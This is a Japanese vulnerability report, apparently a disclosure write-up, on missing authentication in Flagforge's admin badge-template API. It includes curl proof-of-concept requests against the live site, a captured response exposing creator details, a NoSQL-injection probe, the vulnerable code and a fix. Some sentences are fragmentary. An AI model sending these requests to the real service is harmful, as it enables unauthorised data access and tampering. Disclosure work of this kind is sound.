Flagforge アプリケーション(https://flagforge.xyz)は、管理APIエンドポイント、具体的には /api/admin/badge-templates(GET)と /api/admin/badge-templates/create(POST)に重大な脆弱性を晒しています。両エンドポイントとも認証および認可の制御が欠如しており、認証されていないユーザーが機密性の高いバッジテンプレートデータを取得したり、MongoDBデータベースに任意のテンプレートを作成したりすることが可能です。これにより、不正なデータ漏洩、データベースの汚染、またはバッジシステムの悪用(悪意のあるテンプレートやスパムテンプレートの作成など)につながる可能性があります。
/api/admin/badge-templates:
badgeTemplates コレクションに保存されているすべてのバッジテンプレートのJSON配列を返します。_id、name、description、icon、color、isActive、createdBy、createdAt、updatedAt、__v が含まれます。 x0w1z ~ curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
/api/admin/badge-templates/create:
name、description、icon、color、isActive、createdBy)を使用して新しいバッジテンプレートを作成できます。name、description、icon の存在チェックと、重複する name が存在しないことの確認という最小限の検証のみが行われます。const templateDoc = {
name: name.trim(),
description: description.trim(),
icon: icon.trim(),
color: color || '#8B5CF6',
isActive: isActive !== undefined ? isActive : true,
createdAt: new Date(),
createdBy: createdBy || 'unknown'
};
const result = await db.collection('badgeTemplates').insertOne(templateDoc);
Lagzen Thakuri、[email protected])やメタデータを公開し、偵察やフィッシングを可能にします。?name[$ne]=test)をサポートしている場合、脆弱になる可能性があります。name と createdBy をログに記録するため、ログスパムやインジェクションに悪用される可能性があります。AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
https://flagforge.xyz)/api/admin/badge-templates(GET)および /api/admin/badge-templates/create(POST)。badgeTemplates コレクション。server: Vercel ヘッダーから推定)。NextRequest/NextResponse 構文に基づき Next.js 13+ と推定)。@/utlis/db 接続ユーティリティ経由)、Next.js。createdBy)とメタデータ(createdAt、updatedAt)の漏洩。ソーシャルエンジニアリングや標的型攻撃に利用される可能性があります。機密データの取得(GET):
curl https://flagforge.xyz/api/admin/badge-templates
createdBy(例: [email protected])などの機密フィールドを含む、すべてのバッジテンプレートのJSONリストを返します。不正なテンプレートの作成(POST)とテンプレートの削除(DELETE):
curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
-H "Content-Type: application/json" \
-d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
badgeTemplates コレクションに新しいテンプレートを作成します。潜在的なNoSQLインジェクション(GET、クエリパラメータがサポートされている場合):
curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
// POSTエンドポイント用のミドルウェア例
export async function POST(request: NextRequest) {
const authHeader = request.headers.get('authorization');
if (!authHeader || !verifyToken(authHeader)) { // verifyToken を実装
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// ... 既存のコード ...
}
createdBy を除外)を返すようにします。